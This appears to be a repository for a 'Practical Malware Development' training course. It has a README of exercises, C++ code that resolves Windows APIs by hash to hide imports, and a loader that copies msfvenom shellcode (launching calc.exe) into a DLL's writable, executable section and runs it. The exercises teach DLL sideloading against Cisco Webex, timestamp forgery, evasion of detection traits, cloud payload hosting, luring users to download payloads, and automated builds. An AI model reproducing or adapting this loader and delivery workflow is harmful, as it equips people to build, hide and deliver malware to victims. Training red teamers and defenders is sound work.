``` ├── .clang-format ├── .github/ ├── workflows/ ├── build.yml ├── .gitignore ├── PMD.sln ├── README.md ├── dll_template/ ├── common.hpp ├── dll_template.vcxproj ├── dll_template.vcxproj.filters ├── dll_template.vcxproj.user ├── entry.cpp ├── loader/ ├── apis.hpp ├── entry.cpp ├── loader.vcxproj ├── loader.vcxproj.filters ├── loader.vcxproj.user ├── scripts/ ├── props.py ├── requirements.txt ├── setup/ ├── common.hpp ├── entry.cpp ├── setup.vcxproj ├── setup.vcxproj.filters ├── setup.vcxproj.user ├── slides.pdf ├── solution/ ├── apis.hpp ├── common.hpp ├── entry.cpp ├── solution.vcxproj ├── solution.vcxproj.filters ├── solution.vcxproj.user ├── template/ ├── entry.cpp ├── template.vcxproj ├── template.vcxproj.filters ├── template.vcxproj.user ├── utility/ ├── entry.cpp ├── utility.vcxproj ├── utility.vcxproj.filters ├── utility.vcxproj.user ``` ## /.clang-format ```clang-format path="/.clang-format" BasedOnStyle: LLVM Standard: c++20 IndentWidth: 4 AccessModifierOffset: -2 ColumnLimit: 110 AlignAfterOpenBracket: BlockIndent AlignConsecutiveAssignments: true AlignConsecutiveBitFields: true AlignConsecutiveDeclarations: true AlignConsecutiveMacros: true AlignEscapedNewlines: Left AlignOperands: AlignAfterOperator AlignTrailingComments: true AllowAllArgumentsOnNextLine: true AllowAllConstructorInitializersOnNextLine: true AllowAllParametersOfDeclarationOnNextLine: true AllowShortBlocksOnASingleLine: Never AllowShortEnumsOnASingleLine: false AllowShortFunctionsOnASingleLine: false AllowShortIfStatementsOnASingleLine: Never AllowShortLambdasOnASingleLine: false AllowShortLoopsOnASingleLine: false AlwaysBreakAfterReturnType: None AlwaysBreakBeforeMultilineStrings: false AlwaysBreakTemplateDeclarations: MultiLine BinPackArguments: false BinPackParameters: false BitFieldColonSpacing: Both BreakBeforeBraces: Allman BreakBeforeBinaryOperators: NonAssignment BreakConstructorInitializers: BeforeComma PackConstructorInitializers: CurrentLine SortIncludes: false PointerAlignment: Left PenaltyExcessCharacter: 5 PenaltyBreakAssignment: 10 ``` ## /.github/workflows/build.yml ```yml path="/.github/workflows/build.yml" name: Build run-name: Compile on: workflow_dispatch: permissions: contents: read jobs: build-target: runs-on: windows-latest steps: - name: Checkout code uses: actions/checkout@v2 - name: Add msbuild to PATH uses: microsoft/setup-msbuild@v2 - name: Build solution run: msbuild /p:Configuration=Release /p:Platform=x64 .\PMD.sln - name: Upload build artifacts uses: actions/upload-artifact@v4 with: name: PMD Artifacts path: | x64/Release/*.dll x64/Release/*.exe ``` ## /.gitignore ```gitignore path="/.gitignore" x64/ .vs/ target/ ``` ## /PMD.sln ```sln path="/PMD.sln" Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 17 VisualStudioVersion = 17.9.34902.65 MinimumVisualStudioVersion = 10.0.40219.1 Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{6CBF6CB3-694B-40ED-8803-0ECB267387C1}" ProjectSection(SolutionItems) = preProject .clang-format = .clang-format EXERCISES.md = EXERCISES.md EndProjectSection EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dll_template", "dll_template\dll_template.vcxproj", "{77879DF4-2932-4096-9B39-C9892D0471A7}" EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "loader", "loader\loader.vcxproj", "{2C9EDF57-B33F-4567-ABC6-C808A4A7A51D}" EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "solution", "solution\solution.vcxproj", "{A70305AB-3BDF-4308-9328-F99E986E4B87}" EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "template", "template\template.vcxproj", "{F6F72715-9E04-49DA-A8F1-066457BABA20}" EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "utility", "utility\utility.vcxproj", "{2E4C4E6D-0993-43B5-A100-9EAF0B8F9D44}" EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "setup", "setup\setup.vcxproj", "{FDB0947D-3CF4-48A9-B74D-45FA83B5949E}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 Release|x64 = Release|x64 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {77879DF4-2932-4096-9B39-C9892D0471A7}.Debug|x64.ActiveCfg = Debug|x64 {77879DF4-2932-4096-9B39-C9892D0471A7}.Debug|x64.Build.0 = Debug|x64 {77879DF4-2932-4096-9B39-C9892D0471A7}.Debug|x86.ActiveCfg = Debug|Win32 {77879DF4-2932-4096-9B39-C9892D0471A7}.Debug|x86.Build.0 = Debug|Win32 {77879DF4-2932-4096-9B39-C9892D0471A7}.Release|x64.ActiveCfg = Release|x64 {77879DF4-2932-4096-9B39-C9892D0471A7}.Release|x64.Build.0 = Release|x64 {77879DF4-2932-4096-9B39-C9892D0471A7}.Release|x86.ActiveCfg = Release|Win32 {77879DF4-2932-4096-9B39-C9892D0471A7}.Release|x86.Build.0 = Release|Win32 {2C9EDF57-B33F-4567-ABC6-C808A4A7A51D}.Debug|x64.ActiveCfg = Debug|x64 {2C9EDF57-B33F-4567-ABC6-C808A4A7A51D}.Debug|x64.Build.0 = Debug|x64 {2C9EDF57-B33F-4567-ABC6-C808A4A7A51D}.Debug|x86.ActiveCfg = Debug|Win32 {2C9EDF57-B33F-4567-ABC6-C808A4A7A51D}.Debug|x86.Build.0 = Debug|Win32 {2C9EDF57-B33F-4567-ABC6-C808A4A7A51D}.Release|x64.ActiveCfg = Release|x64 {2C9EDF57-B33F-4567-ABC6-C808A4A7A51D}.Release|x64.Build.0 = Release|x64 {2C9EDF57-B33F-4567-ABC6-C808A4A7A51D}.Release|x86.ActiveCfg = Release|Win32 {2C9EDF57-B33F-4567-ABC6-C808A4A7A51D}.Release|x86.Build.0 = Release|Win32 {A70305AB-3BDF-4308-9328-F99E986E4B87}.Debug|x64.ActiveCfg = Debug|x64 {A70305AB-3BDF-4308-9328-F99E986E4B87}.Debug|x64.Build.0 = Debug|x64 {A70305AB-3BDF-4308-9328-F99E986E4B87}.Debug|x86.ActiveCfg = Debug|Win32 {A70305AB-3BDF-4308-9328-F99E986E4B87}.Debug|x86.Build.0 = Debug|Win32 {A70305AB-3BDF-4308-9328-F99E986E4B87}.Release|x64.ActiveCfg = Release|x64 {A70305AB-3BDF-4308-9328-F99E986E4B87}.Release|x64.Build.0 = Release|x64 {A70305AB-3BDF-4308-9328-F99E986E4B87}.Release|x86.ActiveCfg = Release|Win32 {A70305AB-3BDF-4308-9328-F99E986E4B87}.Release|x86.Build.0 = Release|Win32 {F6F72715-9E04-49DA-A8F1-066457BABA20}.Debug|x64.ActiveCfg = Debug|x64 {F6F72715-9E04-49DA-A8F1-066457BABA20}.Debug|x64.Build.0 = Debug|x64 {F6F72715-9E04-49DA-A8F1-066457BABA20}.Debug|x86.ActiveCfg = Debug|Win32 {F6F72715-9E04-49DA-A8F1-066457BABA20}.Debug|x86.Build.0 = Debug|Win32 {F6F72715-9E04-49DA-A8F1-066457BABA20}.Release|x64.ActiveCfg = Release|x64 {F6F72715-9E04-49DA-A8F1-066457BABA20}.Release|x64.Build.0 = Release|x64 {F6F72715-9E04-49DA-A8F1-066457BABA20}.Release|x86.ActiveCfg = Release|Win32 {F6F72715-9E04-49DA-A8F1-066457BABA20}.Release|x86.Build.0 = Release|Win32 {2E4C4E6D-0993-43B5-A100-9EAF0B8F9D44}.Debug|x64.ActiveCfg = Debug|x64 {2E4C4E6D-0993-43B5-A100-9EAF0B8F9D44}.Debug|x64.Build.0 = Debug|x64 {2E4C4E6D-0993-43B5-A100-9EAF0B8F9D44}.Debug|x86.ActiveCfg = Debug|Win32 {2E4C4E6D-0993-43B5-A100-9EAF0B8F9D44}.Debug|x86.Build.0 = Debug|Win32 {2E4C4E6D-0993-43B5-A100-9EAF0B8F9D44}.Release|x64.ActiveCfg = Release|x64 {2E4C4E6D-0993-43B5-A100-9EAF0B8F9D44}.Release|x64.Build.0 = Release|x64 {2E4C4E6D-0993-43B5-A100-9EAF0B8F9D44}.Release|x86.ActiveCfg = Release|Win32 {2E4C4E6D-0993-43B5-A100-9EAF0B8F9D44}.Release|x86.Build.0 = Release|Win32 {FDB0947D-3CF4-48A9-B74D-45FA83B5949E}.Debug|x64.ActiveCfg = Debug|x64 {FDB0947D-3CF4-48A9-B74D-45FA83B5949E}.Debug|x64.Build.0 = Debug|x64 {FDB0947D-3CF4-48A9-B74D-45FA83B5949E}.Debug|x86.ActiveCfg = Debug|Win32 {FDB0947D-3CF4-48A9-B74D-45FA83B5949E}.Debug|x86.Build.0 = Debug|Win32 {FDB0947D-3CF4-48A9-B74D-45FA83B5949E}.Release|x64.ActiveCfg = Release|x64 {FDB0947D-3CF4-48A9-B74D-45FA83B5949E}.Release|x64.Build.0 = Release|x64 {FDB0947D-3CF4-48A9-B74D-45FA83B5949E}.Release|x86.ActiveCfg = Release|Win32 {FDB0947D-3CF4-48A9-B74D-45FA83B5949E}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(NestedProjects) = preSolution {77879DF4-2932-4096-9B39-C9892D0471A7} = {6CBF6CB3-694B-40ED-8803-0ECB267387C1} {2C9EDF57-B33F-4567-ABC6-C808A4A7A51D} = {6CBF6CB3-694B-40ED-8803-0ECB267387C1} {A70305AB-3BDF-4308-9328-F99E986E4B87} = {6CBF6CB3-694B-40ED-8803-0ECB267387C1} {F6F72715-9E04-49DA-A8F1-066457BABA20} = {6CBF6CB3-694B-40ED-8803-0ECB267387C1} {2E4C4E6D-0993-43B5-A100-9EAF0B8F9D44} = {6CBF6CB3-694B-40ED-8803-0ECB267387C1} {FDB0947D-3CF4-48A9-B74D-45FA83B5949E} = {6CBF6CB3-694B-40ED-8803-0ECB267387C1} EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {4D367ADE-4E4B-4932-B662-A3DC768EB775} EndGlobalSection EndGlobal ``` ## /README.md # Practical Malware Development ## Exercise 1 - Environment Setup 1. Get a Windows virtual machine setup within a hypervisor. a. Make sure to take a snapshot of your base installation. 2. Download and install Visual Studio 2022 - https://visualstudio.microsoft.com/vs/ a. Select `Desktop development with C++` workload when installing 3. Download and install: - DebugView++ - https://github.com/CobaltFusion/DebugViewPP - PE Bear - https://github.com/hasherezade/pe-bear - ProcMon - https://learn.microsoft.com/en-us/sysinternals/downloads/procmon - Ghidra - https://www.ghidra-sre.org/ - Everything - https://www.voidtools.com/ Additionally (optional), for a fuller reversing experience, setup symbols: `setx _NT_SYMBOL_PATH c:\Symbols;srv*c:\Symbols*https://msdl.microsoft.com/download/symbols` `mkdir \symbols` 4. Open `PMD.sln` within Visual Studio. 5. Select the `setup` project, and ensure you can: a. Compile the project b. View the debug print statement within DebugView++. ## Exercise 2 - Understanding PE Properties 1. Update the `template` project compiler and linker flags to manipulate the IAT entries and other PE properties. a. Get comfortable with dynamic API resolution and MSDN docs. b. Are there any other properties that stand out? If you run Strings.exe against the binary, do any strings stand out? c. Can you remove/update them? Use any tooling of your choice to complete the exercise (e.g. dumpbin/PE Bear). A wrapper around pefile has been provided under `scripts\props.py` (make sure to install the reqs). 2. Download some malware samples from [VXUG](https://vx-underground.org/) a. What are the main differences between benign and malicious executables? b. What are the main differences between our binary and benign executables? ### Further Resources - https://learn.microsoft.com/en-us/cpp/build/reference/dumpbin-reference?view=msvc-170 - https://learn.microsoft.com/en-us/windows/win32/debug/pe-format - https://learn.microsoft.com/en-us/previous-versions/ms809762(v=msdn.10) - https://cloud.google.com/blog/topics/threat-intelligence/tracking-malware-import-hashing/ - https://github.com/rad9800/misc/blob/main/generic/fix-entropy.cpp - https://github.com/rad9800/misc/blob/main/generic/stack-strings.cpp ## Exercise 3 - Compile Time API Hashing The current API hashing algorithm used is fnv1a. 1. Open the `solution` project and call MessageBoxA using the API hashing framework. 2. Use a different hashing algorithm and ensure you can still call MessageBoxA. ### Further Resources - https://github.com/vxunderground/VX-API/tree/main/VX-API - https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messageboxa ## Exercise 4 - Find and Leverage DLL Hijacking 1. Download Cisco Webex (https://www.webex.com/downloads.html) 2. Find CiscoCollabHost and see what DLLs get loaded - Use Procmon/PE Bear/Ghidra or whatever! 3. Open CiscoCollabHost in Ghidra and identify different ways to get code execution from sideloading 4. Edit the `dll_template` to sideload your target binary. Verify you can see the debug string in DebugView++. 5. Update the `LastWriteTime` and `CreationTime` of `dll_template.dll` to match the target DLL. ### Further Resources - https://hijacklibs.net/ - https://github.com/sadreck/Spartacus ## Exercise 5 - Shellcode Execution 1. Compile and run the utility project. a. Additionally, consider running it on your host system. 2. Copy the identified DLL to the `x64/{Debug,Release}` directory and update the loader code. 3. Update `execute_sc` to execute your shellcode with a different function with the API hashing framework. ### Further Resources - https://github.com/Wra7h/FlavorTown ## Exercise 6 - Putting it Together 1. Create a new DLL project and put together: a. DLL Sideloading b. Shellcode Execution from Sideload 2. Verify your PE properties are as expected. 3. Compile your payload in Release and package in a format suitable for delivery. ## Exercise 7 - Payload Hosting 1. Sign up for a cloud storage provider (e.g. AWS/CloudFlare) 2. Package your payload and upload it a. Additionally, investigate ways to limit/audit download access 3. Take a snapshot of your VM 4. Revert to the base VM and play your full "delivery" scenario - e.g. navigating a user to the URL and getting them to download. Ensure it works. ## Exercise 8 - Building Payloads with Github Actions 1. Create a Git repository with the contents of this project 2. Validate that you can run the Action and the artifacts work 3. Update `.github\workflows\build.yml` to do additional pre/post processing as you want that saves time. Here are some ideas: - Run `props.py` and validate/include the output - Automate payload packaging in Python - Automate the updating of `LastWriteTime` and `CreationTime` to match a target ## /dll_template/common.hpp ```hpp path="/dll_template/common.hpp" #pragma once #include void DPRINT(LPCWSTR str, auto... args) { wchar_t buf[512]{0}; int len = wsprintfW(buf, str, args...); if (len >= 0) { OutputDebugStringW(buf); } } ``` ## /dll_template/dll_template.vcxproj ```vcxproj path="/dll_template/dll_template.vcxproj" Debug Win32 Release Win32 Debug x64 Release x64 17.0 Win32Proj {77879df4-2932-4096-9b39-c9892d0471a7} dlltemplate 10.0 DynamicLibrary true v143 Unicode DynamicLibrary false v143 true Unicode DynamicLibrary true v143 Unicode DynamicLibrary false v143 true Unicode Level3 true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 Console true Level3 true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 Console true true true Level3 true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 Console true Level3 true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 Console true true true ``` ## /dll_template/dll_template.vcxproj.filters ```filters path="/dll_template/dll_template.vcxproj.filters" {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms Source Files Header Files ``` ## /dll_template/dll_template.vcxproj.user ```user path="/dll_template/dll_template.vcxproj.user" ``` ## /dll_template/entry.cpp ```cpp path="/dll_template/entry.cpp" #include "common.hpp" extern "C" __declspec(dllexport) void MyDllExport() { } BOOL APIENTRY DllMain(HMODULE mod, DWORD reason, LPVOID) { DPRINT(L"dll_template.%S\t 0x%x)", __FUNCTION__, reason); switch (reason) { case DLL_PROCESS_ATTACH: break; case DLL_PROCESS_DETACH: break; } return TRUE; } ``` ## /loader/apis.hpp ```hpp path="/loader/apis.hpp" #pragma once #include #include #include #define TOKENIZEA(x) #x #define TOKENIZEW(x) L#x #define CONCAT(x, y) x##y //////////////////////////////////////////////////////////////// // Helpers //////////////////////////////////////////////////////////////// template concept Hashable = std::is_trivial_v; template concept CharOrWChar = std::is_same_v || std::is_same_v; template constexpr T to_uppercase(T c) { if (c >= 'a' && c <= 'z') { return c - 32; } return c; } template T rva2_va(void* base, const unsigned long rva) { return reinterpret_cast(reinterpret_cast(base) + rva); } //////////////////////////////////////////////////////////////// // Hashing Algorithm //////////////////////////////////////////////////////////////// template constexpr auto hash_string_fnv1a(const T* buffer) { ULONG hash = 0x811c9dc5; while (*buffer) { T c{}; if constexpr (Uppercase) { c = to_uppercase(*buffer); } else { c = *buffer; } hash ^= c; hash *= 0x01000193; ++buffer; } return hash; } //////////////////////////////////////////////////////////////// // Hashing Macros //////////////////////////////////////////////////////////////// #define HASHING_ALGORITHM hash_string_fnv1a #define HASH_STRINGA(string) HASHING_ALGORITHM(TOKENIZEA(string)) #define HASH_STRINGW(string) HASHING_ALGORITHM(TOKENIZEW(string)) #define HASH_STRINGA(string) HASHING_ALGORITHM(TOKENIZEA(string)) #define HASH_STRINGW(string) HASHING_ALGORITHM(TOKENIZEW(string)) #define DEFINE_HASH_STRINGA(string) \ constexpr auto CONCAT(hash__, string) = HASH_STRINGA(string); \ static_assert(CONCAT(hash__, string) == HASH_STRINGA(string), "Must be evaluated at compile time"); #define DEFINE_HASH_STRINGW(string) \ constexpr auto CONCAT(hash__, string) = HASH_STRINGW(string); \ static_assert(CONCAT(hash__, string) == HASH_STRINGW(string), "Must be evaluated at compile time"); #define DEFINE_FUNCTION(function) typedef decltype(&function) CONCAT(type__, function); #define HASHED_FUNCTION(function) DEFINE_HASH_STRINGA(function) DEFINE_FUNCTION(function) #define API(function, dll) \ reinterpret_cast( \ get_proc_address_hash(CONCAT(hash__, function), CONCAT(hash__, dll)) \ ) #define DLL_NAME(dll) L#dll L".DLL" #define DEFINE_DLL(dll) constexpr auto CONCAT(hash__, dll) = HASHING_ALGORITHM(DLL_NAME(dll)); //////////////////////////////////////////////////////////////// // UPDATE ME WITH FUNCTIONS/LIBRARIES TO USE //////////////////////////////////////////////////////////////// HASHED_FUNCTION(GetProcAddress) // Required. HASHED_FUNCTION(LoadLibraryW) HASHED_FUNCTION(MessageBoxW) HASHED_FUNCTION(LoadLibraryExW) HASHED_FUNCTION(CreateThread) HASHED_FUNCTION(WaitForSingleObject) HASHED_FUNCTION(CloseHandle) DEFINE_DLL(NTDLL) DEFINE_DLL(KERNEL32) DEFINE_DLL(USER32) // UPDATE WITH DLLS REQUIRED AT RUNTIME static constexpr const wchar_t* required_dlls[] = { L"NTDLL.DLL", L"KERNEL32.DLL", }; //////////////////////////////////////////////////////////////// // API Resolution //////////////////////////////////////////////////////////////// template FORCEINLINE PVOID get_module_handle(const T target_hash) { const LIST_ENTRY* head = &NtCurrentTeb()->ProcessEnvironmentBlock->Ldr->InMemoryOrderModuleList; LIST_ENTRY* next = head->Flink; while (next != head) { const auto entry = CONTAINING_RECORD(next, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); const auto dll_name = reinterpret_cast( reinterpret_cast(&entry->FullDllName) + sizeof(UNICODE_STRING) ); auto dll_name_buffer = reinterpret_cast(dll_name->Buffer); auto dll_name_hash = HASHING_ALGORITHM(dll_name_buffer); if (dll_name_hash == target_hash) { return entry->DllBase; } next = next->Flink; } return nullptr; } template FORCEINLINE void* get_proc_address_hash(T function_hash, T library_hash) { // 1. Get the DLL handle from the library hash auto dll_base = get_module_handle(library_hash); if (!dll_base) [[unlikely]] return nullptr; // 2. Get the function address from the function hash const auto dos = static_cast(dll_base); const auto nt = rva2_va(dll_base, dos->e_lfanew); const auto exports = rva2_va( dll_base, nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress ); const auto optional = &nt->OptionalHeader; if (exports->AddressOfNames == 0) [[unlikely]] return nullptr; const auto ordinals = rva2_va(dll_base, exports->AddressOfNameOrdinals); const auto names = rva2_va(dll_base, exports->AddressOfNames); const auto functions = rva2_va(dll_base, exports->AddressOfFunctions); for (DWORD i = 0; i < exports->NumberOfNames; i++) { const auto name = rva2_va(dll_base, names[i]); const auto hash = HASHING_ALGORITHM(name); if (hash == function_hash) { PVOID function_address = rva2_va(dll_base, functions[ordinals[i]]); // 3. Handle forwarded functions const auto optional_start = rva2_va(dll_base, optional->DataDirectory[0].VirtualAddress); const auto optional_end = rva2_va(optional_start, optional->DataDirectory[0].Size); if (function_address >= optional_start && function_address < optional_end) { function_address = (void*)API(GetProcAddress, KERNEL32)(static_cast(dll_base), name); } return function_address; } } return nullptr; } BOOL initialize_api_hashing() { auto status = false; for (auto& dll : required_dlls) { auto addr = API(LoadLibraryW, KERNEL32)(dll); if (status = addr; !status) [[unlikely]] return status; } return status; } ``` ## /loader/entry.cpp ```cpp path="/loader/entry.cpp" #include "apis.hpp" // msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f C unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd" "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; bool setup_memory(void*& blk, size_t& sz) { // DLL with RWX section to leverage constexpr auto target_dll = L"msys-2.0.dll"; bool success = false; HANDLE dll_base = nullptr; PIMAGE_DOS_HEADER dos_header = nullptr; PIMAGE_NT_HEADERS nt_headers = nullptr; PIMAGE_SECTION_HEADER section_header = nullptr; dll_base = API(LoadLibraryExW, KERNEL32)(target_dll, NULL, DONT_RESOLVE_DLL_REFERENCES); if (dll_base == nullptr) goto cleanup; dos_header = (PIMAGE_DOS_HEADER)dll_base; if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) goto cleanup; nt_headers = rva2_va(dll_base, dos_header->e_lfanew); if (nt_headers->Signature != IMAGE_NT_SIGNATURE) goto cleanup; section_header = IMAGE_FIRST_SECTION(nt_headers); for (auto i{0}; i < nt_headers->FileHeader.NumberOfSections; i++, section_header++) { if (section_header->Characteristics & IMAGE_SCN_MEM_EXECUTE && section_header->Characteristics & IMAGE_SCN_MEM_READ && section_header->Characteristics & IMAGE_SCN_MEM_WRITE) { blk = rva2_va(dll_base, section_header->VirtualAddress); sz = section_header->SizeOfRawData; success = true; break; } } cleanup: return success; } bool retrieve_sc(void*& sc, size_t& sz) { sc = buf; sz = sizeof(buf); return true; } bool copy_sc(void* blk, size_t blk_sz, void* sc, size_t sc_sz) { bool success = false; auto thread = INVALID_HANDLE_VALUE; if (blk_sz < sc_sz) goto cleanup; (void)memcpy(blk, sc, sc_sz); success = true; cleanup: return success; } bool execute_sc(void* blk) { bool success = false; auto thread = API(CreateThread, KERNEL32)(NULL, 0, (LPTHREAD_START_ROUTINE)blk, NULL, 0, NULL); if (thread == nullptr) goto cleanup; success = true; API(WaitForSingleObject, KERNEL32)(thread, INFINITE); API(CloseHandle, KERNEL32)(thread); cleanup: return success; } int main() { auto success = false; void * blk, *sc = nullptr; size_t blk_sz, sc_sz = 0; if (success = initialize_api_hashing(); !success) goto cleanup; if (success = setup_memory(blk, blk_sz); !success) goto cleanup; if (success = retrieve_sc(sc, sc_sz); !success) goto cleanup; if (success = copy_sc(blk, blk_sz, sc, sc_sz); !success) goto cleanup; if (success = execute_sc(blk); !success) goto cleanup; cleanup: return success ? 0 : 1; } ``` ## /loader/loader.vcxproj ```vcxproj path="/loader/loader.vcxproj" Debug Win32 Release Win32 Debug x64 Release x64 17.0 Win32Proj {2c9edf57-b33f-4567-abc6-c808a4a7a51d} loader 10.0 Application true v143 Unicode Application false v143 true Unicode Application true v143 Unicode Application false v143 true Unicode Level3 true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 Console true Level3 true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 Console true true true Level3 true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 Console true Level3 true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp20 Console true true true ``` ## /loader/loader.vcxproj.filters ```filters path="/loader/loader.vcxproj.filters" {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms Source Files Header Files ``` ## /loader/loader.vcxproj.user ```user path="/loader/loader.vcxproj.user" ``` ## /scripts/props.py ```py path="/scripts/props.py" import sys import hashlib import pefile def entropy(data) -> float: import math from collections import Counter if not data: return 0.0 occurences = Counter(bytearray(data)) entropy = 0 for x in occurences.values(): p_x = float(x) / len(data) entropy -= p_x * math.log(p_x, 2) return entropy class PEHelper: def __init__(self, fileName) -> None: self.pe = pefile.PE(fileName) def is_what(self) -> str: return next(key for key in ("exe", "dll", "driver") if getattr(self.pe, f"is_{key}")()) def entropy(self) -> float: return entropy(self.pe.__data__) def sections(self) -> dict: return dict(map(self._sections, self.pe.sections)) def _sections(self, section) -> tuple: name = "".join( filter(str.isprintable, section.Name.decode( "UTF-8", errors="replace")) ) return ( name, { "Raw Size": section.SizeOfRawData, "Entropy": entropy(section.get_data()), }, ) def imports(self) -> dict: if hasattr(self.pe, "DIRECTORY_ENTRY_IMPORT"): return { entry.dll.decode().lower(): [imp.name.decode() for imp in entry.imports] for entry in self.pe.DIRECTORY_ENTRY_IMPORT } return {} def exports(self) -> dict: if self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[0].Size: return { (exp.name.decode() if exp.name is not None else ""): exp.ordinal for exp in self.pe.DIRECTORY_ENTRY_EXPORT.symbols } return {} def symbols(self) -> list: return [data.entry.PdbFileName.decode() for data in self.pe.DIRECTORY_ENTRY_DEBUG if hasattr(data.entry, "PdbFileName")] def arch(self) -> str: if hex(self.pe.OPTIONAL_HEADER.Magic) == "0x10b": return "x86" elif hex(self.pe.OPTIONAL_HEADER.Magic) == "0x20b": return "x64_86" def timestamp(self) -> str: import datetime epoch_time = self.pe.FILE_HEADER.TimeDateStamp date_time = datetime.datetime.fromtimestamp(epoch_time) return date_time def size(self) -> int: return len(self.pe.__data__) def md5(self) -> str: return hashlib.md5(self.pe.__data__).hexdigest() def sha256(self) -> str: return hashlib.sha256(self.pe.__data__).hexdigest() if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} ") sys.exit(1) pe = PEHelper(sys.argv[1]) information = { "PE Type": pe.is_what(), "PE Size": (lambda: f"{len(pe.pe.__data__) / 1000 } KB")(), "Architecture": pe.arch(), "Total Entropy": pe.entropy(), "MD5 hash": pe.md5(), "SHA256 hash": pe.sha256(), "Timestamp": pe.timestamp(), "Debug Symbols": (lambda x: ",".join(x) if x else "")(pe.symbols()), ############################### "Sections": pe.sections(), "Imports": pe.imports(), "Exports": pe.exports(), } def print_info(key, value, indent=0): prefix = '\t' * indent + (f"{key}:\t" if key else "") if isinstance(value, dict): print(prefix) for sub_key, sub_value in value.items(): print_info(sub_key, sub_value, indent + 1) elif isinstance(value, list): print(prefix) for item in value: print_info("", item, indent + 1) else: print(f"{prefix}{value}") for key, value in information.items(): print_info(key, value) ``` ## /scripts/requirements.txt pefile ## /setup/common.hpp ```hpp path="/setup/common.hpp" #pragma once #include #ifdef NDEBUG void DPRINT(LPCWSTR str, auto... args) { } #else void DPRINT(LPCWSTR str, auto... args) { wchar_t buf[512]{ 0 }; int len = wsprintfW(buf, str, args...); if (len >= 0) { OutputDebugStringW(buf); } } #endif ``` ## /setup/entry.cpp ```cpp path="/setup/entry.cpp" #include "common.hpp" int main() { DPRINT(L"Make sure you can see me in 